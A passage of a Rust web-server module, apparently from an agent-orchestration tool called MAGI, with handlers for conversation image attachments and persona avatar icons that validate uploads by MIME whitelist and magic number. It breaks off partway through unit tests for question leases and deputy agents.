9991async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9992    blocking(move || {
9993        let id = resolve_talk(&ui.talks, &id)?;
9994        ui.talks.remove(&id)?;
9995        Ok(StatusCode::NO_CONTENT)
9996    })
9997    .await
9998}
9999
10000fn talk_ids(root: &FsPath) -> Vec<String> {
10001    std::fs::read_dir(root)
10002        .into_iter()
10003        .flatten()
10004        .flatten()
10005        .filter_map(|e| {
10006            let path = e.path();
10007            if path.extension().is_some_and(|ext| ext == "json") {
10008                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10009            } else {
10010                None
10011            }
10012        })
10013        .collect()
10014}
10015
10016/// Expand an id or short id to exactly one talk id.
10017fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10018    if plain_record_id(id) && store.path_of(id).is_file() {
10019        return Ok(id.to_owned());
10020    }
10021    pick(talk_ids(store.root()), id, "talk")
10022}
10023
10024/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10025/// future `talk-say`.
10026async fn talk_attachment_post(
10027    State(ui): State<Arc<Ui>>,
10028    Path(id): Path<String>,
10029    headers: HeaderMap,
10030    body: Bytes,
10031) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10032    let mime = validate_attachment(&headers, &body)?;
10033    let name = filename_header(&headers);
10034    let data = body.to_vec();
10035    blocking(move || {
10036        let id = resolve_talk(&ui.talks, &id)?;
10037        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10038        Ok((StatusCode::CREATED, Json(att)))
10039    })
10040    .await
10041}
10042
10043/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10044/// `<img>` tag in the transcript.
10045async fn talk_attachment_get(
10046    State(ui): State<Arc<Ui>>,
10047    Path((id, att)): Path<(String, String)>,
10048) -> ApiResult<Response> {
10049    blocking(move || {
10050        let id = resolve_talk(&ui.talks, &id)?;
10051        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10052            return Err(ApiError::not_found(format!(
10053                "talk {id} has no attachment `{att}`"
10054            )));
10055        };
10056        Ok(attachment_response(&meta.mime, data))
10057    })
10058    .await
10059}
10060
10061/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10062/// the icon setting, so changing it changes the URL.
10063fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10064    let id = avatar_encode(&p.id);
10065    format!(
10066        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10067        persona_icon::fingerprint(
10068            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10069        )
10070    )
10071}
10072
10073#[derive(Debug, Default, Deserialize)]
10074struct AvatarQuery {
10075    persona: Option<String>,
10076    /// Set by the page after the first load failed: skip the `icon`.
10077    builtin: Option<String>,
10078}
10079
10080/// Served with every built-in avatar: it is an image, so nothing else may run.
10081const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10082
10083fn builtin_avatar(id: &str) -> Response {
10084    svg_avatar(persona_icon::builtin_svg(id))
10085}
10086
10087async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10088    raster_or_builtin(
10089        read_icon_file(&avatar_setting_path(&ui.home, None))
10090            .filter(|_| q.builtin.is_none())
10091            .as_deref(),
10092        persona_icon::operator_svg(),
10093    )
10094}
10095
10096fn svg_avatar(svg: &'static str) -> Response {
10097    (
10098        [
10099            (header::CONTENT_TYPE, "image/svg+xml"),
10100            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10101            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10102            (header::CACHE_CONTROL, "no-cache"),
10103        ],
10104        svg,
10105    )
10106        .into_response()
10107}
10108
10109fn avatar_encode(value: &str) -> String {
10110    value
10111        .bytes()
10112        .map(|b| {
10113            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10114                char::from(b).to_string()
10115            } else {
10116                format!("%{b:02X}")
10117            }
10118        })
10119        .collect()
10120}
10121
10122// Display-only overrides live outside configuration and conversation records.
10123fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10124    let Some(id) = persona else {
10125        return home.join("avatars/operator.data");
10126    };
10127    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10128    let mut path = home.join("avatars/personas");
10129    for chunk in encoded.as_bytes().chunks(100) {
10130        path.push(std::str::from_utf8(chunk).expect("hex"));
10131    }
10132    path.join("icon.data")
10133}
10134
10135fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10136    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10137        Some(value) if value == "builtin" => Some(String::new()),
10138        Some(value) => Some(value),
10139        None => configured.map(str::to_owned),
10140    }
10141}
10142
10143fn operator_icon_url(home: &FsPath) -> String {
10144    format!(
10145        "/avatars/operator.svg?v={}",
10146        persona_icon::fingerprint(
10147            read_icon_file(&avatar_setting_path(home, None))
10148                .as_deref()
10149                .or(Some(persona_icon::operator_svg()))
10150        )
10151    )
10152}
10153
10154fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10155    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10156        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10157            attachment_response(mime, bytes)
10158        }
10159        _ => svg_avatar(builtin),
10160    };
10161    response
10162        .headers_mut()
10163        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10164    response
10165}
10166
10167#[derive(Default, Deserialize)]
10168struct AvatarSettingsQuery {
10169    repo: Option<PathBuf>,
10170    persona: Option<String>,
10171    builtin: Option<String>,
10172    inherit: Option<String>,
10173}
10174
10175fn avatar_settings_specs(
10176    ui: &Ui,
10177    repo: Option<PathBuf>,
10178) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10179    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10180    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10181        .map(|cfg| cfg.talk.personas)
10182        .unwrap_or_default();
10183    Ok((repo, specs))
10184}
10185
10186fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10187    let Ok(entries) = std::fs::read_dir(path) else {
10188        return;
10189    };
10190    for entry in entries.flatten() {
10191        let name = entry.file_name().to_string_lossy().into_owned();
10192        if name == "icon.data" {
10193            let bytes: Option<Vec<u8>> = prefix
10194                .as_bytes()
10195                .chunks(2)
10196                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10197                .collect();
10198            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10199                out.push(id);
10200            }
10201        } else if name.len() <= 100
10202            && !name.is_empty()
10203            && name.bytes().all(|b| b.is_ascii_hexdigit())
10204            && entry.file_type().is_ok_and(|t| t.is_dir())
10205        {
10206            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10207        }
10208    }
10209}
10210
10211async fn avatar_settings_get(
10212    State(ui): State<Arc<Ui>>,
10213    Query(q): Query<AvatarSettingsQuery>,
10214) -> ApiResult<Json<serde_json::Value>> {
10215    blocking(move || {
10216        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10217        let mut catalog = persona::catalog(&specs);
10218        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10219        let mut saved = Vec::new();
10220        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10221        for id in saved {
10222            if !catalog.iter().any(|p| p.id == id) {
10223                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10224            }
10225        }
10226        let personas: Vec<_> = catalog.iter().map(|p| {
10227            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10228            let override_state = match saved.as_deref() {
10229                Some("builtin") => "builtin",
10230                Some(_) => "custom",
10231                None => "inherit",
10232            };
10233            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10234            serde_json::json!({"id":p.id,"name":p.name,
10235                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10236                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10237                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10238        }).collect();
10239        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10240    }).await
10241}
10242
10243async fn settings_persona_avatar(
10244    State(ui): State<Arc<Ui>>,
10245    Query(q): Query<AvatarSettingsQuery>,
10246) -> ApiResult<Response> {
10247    blocking(move || {
10248        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10249        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10250        let found = persona::find(&specs, id);
10251        let icon =
10252            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10253        Ok(raster_or_builtin(
10254            icon.as_deref().filter(|_| q.builtin.is_none()),
10255            persona_icon::builtin_svg(id),
10256        ))
10257    })
10258    .await
10259}
10260
10261fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10262    if q.persona
10263        .as_ref()
10264        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10265    {
10266        return Err(ApiError::bad_request("invalid persona id"));
10267    }
10268    Ok(())
10269}
10270
10271async fn avatar_settings_put(
10272    State(ui): State<Arc<Ui>>,
10273    Query(q): Query<AvatarSettingsQuery>,
10274    Json(upload): Json<MagiIconUpload>,
10275) -> ApiResult<Json<serde_json::Value>> {
10276    blocking(move || {
10277        validate_avatar_target(&q)?;
10278        save_icon_file(
10279            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10280            &upload.icon,
10281        )
10282        .map_err(ApiError::bad_request_from)?;
10283        Ok(Json(serde_json::json!({"saved":true})))
10284    })
10285    .await
10286}
10287
10288async fn avatar_settings_delete(
10289    State(ui): State<Arc<Ui>>,
10290    Query(q): Query<AvatarSettingsQuery>,
10291) -> ApiResult<Json<serde_json::Value>> {
10292    blocking(move || {
10293        validate_avatar_target(&q)?;
10294        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10295        if q.persona.is_some() && q.inherit.is_none() {
10296            atomic_icon_write(&path, "builtin")?;
10297        } else {
10298            match std::fs::remove_file(path) {
10299                Ok(()) => (),
10300                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10301                Err(e) => return Err(anyhow::Error::from(e).into()),
10302            }
10303        }
10304        Ok(Json(serde_json::json!({"saved":true})))
10305    })
10306    .await
10307}
10308
10309// The global MAGI icon is deliberately independent of repository configuration.
10310fn magi_icon_path(home: &FsPath) -> PathBuf {
10311    home.join("magi-icon.data")
10312}
10313
10314fn read_magi_icon(home: &FsPath) -> Option<String> {
10315    read_icon_file(&magi_icon_path(home))
10316}
10317
10318fn read_icon_file(path: &FsPath) -> Option<String> {
10319    let metadata = std::fs::metadata(path).ok()?;
10320    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10321        return None;
10322    }
10323    let file = std::fs::File::open(path).ok()?;
10324    use std::io::Read;
10325    let mut text = String::new();
10326    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10327        .read_to_string(&mut text)
10328        .ok()?;
10329    if text.len() > persona_icon::ICON_MAX_BYTES {
10330        return None;
10331    }
10332    if text == "builtin" {
10333        return Some(text);
10334    }
10335    validate_uploaded_icon(&text).ok()?;
10336    Some(text)
10337}
10338
10339fn magi_icon_url(home: &FsPath) -> String {
10340    format!(
10341        "/avatars/magi?v={}",
10342        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10343    )
10344}
10345
10346async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10347    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10348}
10349
10350#[derive(Deserialize)]
10351struct MagiIconUpload {
10352    icon: String,
10353}
10354
10355fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10356    save_icon_file(&magi_icon_path(home), icon)
10357}
10358
10359fn validate_uploaded_icon(icon: &str) -> Result<()> {
10360    if !icon.starts_with("data:") {
10361        anyhow::bail!("upload a raster image");
10362    }
10363    let (mime, bytes) = persona_icon::load(icon)?;
10364    if sniffed_mime(&bytes) != Some(mime) {
10365        anyhow::bail!("image content does not match its type");
10366    }
10367    Ok(())
10368}
10369
10370fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10371    validate_uploaded_icon(icon)?;
10372    atomic_icon_write(path, icon)
10373}
10374
10375fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10376    let home = path.parent().expect("icon parent");
10377    std::fs::create_dir_all(home)?;
10378    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10379    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10380    let result = (|| -> Result<()> {
10381        use std::io::Write;
10382        let mut file = std::fs::OpenOptions::new()
10383            .write(true)
10384            .create_new(true)
10385            .open(&temp)?;
10386        file.write_all(icon.as_bytes())?;
10387        file.sync_all()?;
10388        std::fs::rename(&temp, path)?;
10389        Ok(())
10390    })();
10391    let _ = std::fs::remove_file(temp);
10392    result?;
10393    Ok(())
10394}
10395
10396async fn magi_icon_put(
10397    State(ui): State<Arc<Ui>>,
10398    Json(upload): Json<MagiIconUpload>,
10399) -> ApiResult<Json<serde_json::Value>> {
10400    blocking(move || {
10401        if !upload.icon.starts_with("data:") {
10402            return Err(ApiError::bad_request("upload a raster image"));
10403        }
10404        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10405        if sniffed_mime(&bytes) != Some(mime) {
10406            return Err(ApiError::bad_request(
10407                "image content does not match its type",
10408            ));
10409        }
10410        save_magi_icon(&ui.home, &upload.icon)?;
10411        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10412    })
10413    .await
10414}
10415
10416async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10417    blocking(move || {
10418        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10419            Ok(()) => (),
10420            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10421            Err(e) => return Err(anyhow::Error::from(e).into()),
10422        }
10423        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10424    })
10425    .await
10426}
10427
10428async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10429    let icon = (q.builtin.is_none())
10430        .then(|| read_magi_icon(&ui.home))
10431        .flatten();
10432    let mut response = match icon
10433        .as_deref()
10434        .and_then(|icon| persona_icon::load(icon).ok())
10435    {
10436        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10437            attachment_response(mime, bytes)
10438        }
10439        _ => svg_avatar(persona_icon::magi_svg()),
10440    };
10441    response
10442        .headers_mut()
10443        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10444    response
10445}
10446
10447/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10448/// operator's raster `icon` when it resolves and its bytes agree with its
10449/// type, the built-in SVG otherwise. Display only; every failure is a warning
10450/// and the built-in avatar, never an error response.
10451async fn talk_avatar(
10452    State(ui): State<Arc<Ui>>,
10453    Path(id): Path<String>,
10454    Query(q): Query<AvatarQuery>,
10455) -> ApiResult<Response> {
10456    blocking(move || {
10457        let id = resolve_talk(&ui.talks, &id)?;
10458        let talk = ui.talks.get(&id)?;
10459        let wanted = q
10460            .persona
10461            .as_deref()
10462            .map(str::trim)
10463            .filter(|p| !p.is_empty())
10464            .unwrap_or(&talk.persona)
10465            .to_owned();
10466        let specs = match Config::discover(&talk.repo, None) {
10467            Ok((cfg, _)) => cfg.talk.personas,
10468            Err(e) => {
10469                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10470                Vec::new()
10471            }
10472        };
10473        let found = persona::find(&specs, &wanted);
10474        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
10475        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10476        let icon = effective_persona_icon(
10477            &ui.home,
10478            &wanted,
10479            found.as_ref().and_then(|p| p.icon.as_deref()),
10480        );
10481        if found.is_none() && icon.is_none() {
10482            return Ok(builtin_avatar(persona::DEFAULT_ID));
10483        }
10484        let Some(icon) = icon
10485            .as_deref()
10486            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10487        else {
10488            return Ok(builtin_avatar(&wanted));
10489        };
10490        let Some(found) = found else {
10491            return Ok(raster_or_builtin(
10492                Some(icon),
10493                persona_icon::builtin_svg(&wanted),
10494            ));
10495        };
10496        match persona_icon::load(icon) {
10497            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10498                let mut res = attachment_response(mime, bytes);
10499                res.headers_mut().insert(
10500                    header::CACHE_CONTROL,
10501                    header::HeaderValue::from_static("no-cache"),
10502                );
10503                Ok(res)
10504            }
10505            Ok((mime, _)) => {
10506                tracing::warn!(
10507                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10508                    found.id
10509                );
10510                Ok(builtin_avatar(&found.id))
10511            }
10512            Err(e) => {
10513                tracing::warn!(
10514                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10515                    found.id
10516                );
10517                Ok(builtin_avatar(&found.id))
10518            }
10519        }
10520    })
10521    .await
10522}
10523
10524/// Validate an attachment upload's declared `Content-Type` and the bytes
10525/// themselves, returning the canonical mime on success.
10526///
10527/// Two checks, both required: the header has to name one of
10528/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
10529/// simply never in the list, active content rather than a picture, the same
10530/// exclusion [`asset_content_type`]'s doc explains), and the file's own
10531/// magic number has to agree. The second is what stops a mislabeled upload -
10532/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
10533/// a declared type is a claim, not a fact, so it is never trusted alone.
10534fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10535    if data.len() > ATTACHMENT_MAX_BYTES {
10536        return Err(ApiError::bad_request(format!(
10537            "attachment is {} bytes, over the {} MiB limit",
10538            data.len(),
10539            ATTACHMENT_MAX_BYTES / (1024 * 1024)
10540        ))
10541        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10542    }
10543    if data.is_empty() {
10544        return Err(ApiError::bad_request("attachment is empty"));
10545    }
10546    let declared = declared_mime(headers)?;
10547    match sniffed_mime(data) {
10548        Some(sniffed) if sniffed == declared => Ok(declared),
10549        Some(sniffed) => Err(ApiError::bad_request(format!(
10550            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10551        ))),
10552        None => Err(ApiError::bad_request(
10553            "the file's bytes do not match any accepted image format",
10554        )),
10555    }
10556}
10557
10558/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
10559/// and nothing else - parameters like `; charset=` are stripped, but the
10560/// value itself is not otherwise interpreted.
10561fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10562    let raw = headers
10563        .get(header::CONTENT_TYPE)
10564        .and_then(|v| v.to_str().ok())
10565        .unwrap_or("")
10566        .split(';')
10567        .next()
10568        .unwrap_or("")
10569        .trim()
10570        .to_ascii_lowercase();
10571    ATTACHMENT_MIME_WHITELIST
10572        .iter()
10573        .find(|&&m| m == raw)
10574        .copied()
10575        .ok_or_else(|| {
10576            if raw == "image/svg+xml" {
10577                ApiError::bad_request(
10578                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
10579                     not just a picture",
10580                )
10581            } else if raw.is_empty() {
10582                ApiError::bad_request("Content-Type is required for an attachment upload")
10583            } else {
10584                ApiError::bad_request(format!(
10585                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10586                     image/gif or image/webp"
10587                ))
10588            }
10589        })
10590}
10591
10592/// Identify an image by its magic number, independent of whatever
10593/// `Content-Type` claimed.
10594fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10595    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10596        Some("image/png")
10597    } else if data.starts_with(b"\xff\xd8\xff") {
10598        Some("image/jpeg")
10599    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10600        Some("image/gif")
10601    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10602        Some("image/webp")
10603    } else {
10604        None
10605    }
10606}
10607
10608/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
10609/// display - see [`talk::Attachment::name`]'s doc on why it never
10610/// contributes to a path. A missing or blank header (curl without it, an
10611/// older front end) falls back to a generic name rather than refusing the
10612/// upload over a field that is cosmetic.
10613fn filename_header(headers: &HeaderMap) -> String {
10614    headers
10615        .get(FILENAME_HEADER)
10616        .and_then(|v| v.to_str().ok())
10617        .map(str::trim)
10618        .filter(|s| !s.is_empty())
10619        .unwrap_or("attachment")
10620        .to_owned()
10621}
10622
10623/// Every attachment `GET` response: the mime re-validated against the same
10624/// closed whitelist the upload route enforces - never the string trusted
10625/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
10626/// cannot decide it knows better than the type we send. Unlike a panel asset
10627/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
10628/// document renders inline, not agent-authored HTML in a sandboxed frame.
10629fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10630    let content_type = ATTACHMENT_MIME_WHITELIST
10631        .iter()
10632        .find(|&&m| m == mime)
10633        .copied()
10634        .unwrap_or("application/octet-stream");
10635    (
10636        [
10637            (header::CONTENT_TYPE, content_type),
10638            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10639        ],
10640        body,
10641    )
10642        .into_response()
10643}
10644
10645/// The configuration for a repository, read off the disk for this request.
10646///
10647/// Through [`blocking`] because discovery reads and merges several TOML files,
10648/// and because the alternative - caching it in [`Ui`] at startup - would mean
10649/// the operator's phone kept interviewing with a roster they had already
10650/// changed, with no way to reload it but restarting the server they are not
10651/// sitting in front of.
10652async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10653    let repo = repo.to_path_buf();
10654    blocking(move || {
10655        let (cfg, _) = Config::discover(&repo, None)?;
10656        Ok(cfg)
10657    })
10658    .await
10659}
10660
10661/// The one prefix rule, used for both runs and tasks: a leading match for a
10662/// full id, a trailing match for the short form an operator reads off a
10663/// report. Written here rather than borrowed from `queue::resolve_id` because
10664/// the UI needs the two failures as different status codes, and telling them
10665/// apart from an error message is not something to build a route on.
10666fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10667    let mut hits = ids
10668        .into_iter()
10669        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10670    match (hits.next(), hits.next()) {
10671        (Some(one), None) => Ok(one),
10672        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10673        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10674            "`{prefix}` matches more than one {what}, including {a} and {b}"
10675        ))),
10676    }
10677}
10678
10679#[cfg(test)]
10680mod tests {
10681
10682    #[test]
10683    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10684        let dir = tempfile::tempdir().unwrap();
10685        let store = ask::Questions::at(dir.path().join("questions"));
10686        let mut q = Question::new(
10687            "task".to_owned(),
10688            "conduct".to_owned(),
10689            "conduct".to_owned(),
10690            "choose".to_owned(),
10691            String::new(),
10692            vec!["keep".to_owned()],
10693        );
10694        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10695        q.say("why?").unwrap();
10696        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10697        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10698        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10699        store.put(&mut q).unwrap();
10700        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10701        assert_eq!(store.count_needs_owner(), 1);
10702        store.beat(&q.id, ask::WaiterKind::Deputy);
10703        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10704        assert_eq!(store.count_needs_owner(), 0);
10705        let mut stale = store.read_lease(&q.id).unwrap();
10706        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10707        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10708        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10709        assert!(view.deputy_exhausted);
10710        assert!(view.waiting_on_agent);
10711        assert_eq!(view.question.choices, ["keep"]);
10712        store.drop_lease(&q.id);
10713        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10714        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10715    }
10716
10717    #[test]
10718    fn holder_reads_the_lease_not_the_record() {
10719        let mut q = Question::new(
10720            "run".to_owned(),
10721            "implement".to_owned(),
10722            "impl-A".to_owned(),
10723            "which?".to_owned(),
10724            String::new(),
10725            Vec::new(),
10726        );
10727        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10728        q.cwd = Some("/tmp".to_owned());
10729        assert_eq!(holder_of(&q, None), Some("nobody"));
10730        let beat = |kind, ago: i64| ask::Lease {
10731            kind,
10732            pid: 1,
10733            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10734                .unwrap(),
10735        };
10736        let fresh = beat(ask::WaiterKind::Asker, 1);
10737        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10738        let daemon = beat(ask::WaiterKind::Daemon, 1);
10739        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10740        let stale = beat(ask::WaiterKind::Asker, 3600);
10741        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10742
10743        // A conductor question says "deputy" only while one is attached and
10744        // alive, and "nobody" - never silence - when nothing ever listened.
10745        let mut c = Question::new(
10746            "task".to_owned(),
10747            crate::conduct::NODE.to_owned(),
10748            "conduct".to_owned(),
10749            "which?".to_owned(),
10750            String::new(),
10751            Vec::new(),
10752        );
10753        assert_eq!(holder_of(&c, None), Some("nobody"));
10754        c.cwd = Some("/tmp".to_owned());
10755        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10756        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10757        let deputy = beat(ask::WaiterKind::Deputy, 1);
10758        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10759        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10760
10761        // A release-watch question: nobody until a deputy is attached.
10762        let mut r = Question::new(
10763            String::new(),
10764            crate::bump::NOTICE_NODE.to_owned(),
10765            "release-watch".to_owned(),
10766            "stuck?".to_owned(),
10767            String::new(),
10768            vec!["hold".to_owned()],
10769        );
10770        assert_eq!(holder_of(&r, None), Some("nobody"));
10771        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10772        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10773        // A choice-less bump notice is nobody's question at all.
10774        r.deputy = None;
10775        r.seat = "bump".to_owned();
10776        assert_eq!(holder_of(&r, None), None);
10777
10778        // A merge approval is the same: nobody until a deputy is attached
10779        // and alive, never a silent "no holder".
10780        let mut m = Question::new(
10781            "run".to_owned(),
10782            crate::land::APPROVAL_NODE.to_owned(),
10783            "land".to_owned(),
10784            "merge?".to_owned(),
10785            String::new(),
10786            Vec::new(),
10787        );
10788        assert_eq!(holder_of(&m, None), Some("nobody"));
10789        assert_eq!(
10790            holder_of(&m, Some(&fresh)),
10791            Some("asker"),
10792            "a live explicit wait is a listener even before a deputy is attached"
10793        );
10794        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10795        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10796        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10797        assert_eq!(holder_of(&m, None), Some("nobody"));
10798    }
10799
10800    fn stub_config() -> Config {
10801        // An explicit roster, so the result never depends on which agent CLIs
10802        // this machine has installed.
10803        Config {
10804            agents: vec![crate::config::AgentSpec {
10805                id: "stub".to_owned(),
10806                kind: AgentKind::Command,
10807                model: None,
10808                command: vec!["true".to_owned()],
10809                extra_args: Vec::new(),
10810                env: Default::default(),
10811                prompt_delivery: None,
10812                max_turn_secs: None,
10813            }],
10814            ..Config::default()
10815        }
10816    }
10817
10818    fn plain_question(seat: &str) -> Question {
10819        Question::new(
10820            String::new(),
10821            "n".to_owned(),
10822            seat.to_owned(),
10823            "s".to_owned(),
10824            String::new(),
10825            Vec::new(),
10826        )
10827    }
10828
10829    #[test]
10830    fn deputies_enabled_follows_the_config() {
10831        let on = stub_config();
10832        assert!(crate::deputy::can_start(Some(&on), ""));
10833        assert!(crate::deputy::can_start(Some(&on), "stub"));
10834        let mut off = on.clone();
10835        off.daemon.max_deputies = 0;
10836        assert!(!crate::deputy::can_start(Some(&off), ""));
10837        let mut empty = on;
10838        empty.agents.clear();
10839        assert!(!crate::deputy::can_start(Some(&empty), ""));
10840        assert!(!crate::deputy::can_start(None, ""));
10841    }
10842
10843    #[test]
10844    fn question_views_load_the_config_once() {
10845        let dir = TempDir::new().unwrap();
10846        let store = ask::Questions::at(dir.path().to_path_buf());
10847        let mut with_deputy = plain_question("b");
10848        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10849        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10850
10851        let calls = std::cell::Cell::new(0usize);
10852        let views = question_views(qs.clone(), &store, || {
10853            calls.set(calls.get() + 1);
10854            Some(stub_config())
10855        });
10856        assert_eq!(calls.get(), 1);
10857        assert_eq!(views.len(), 3);
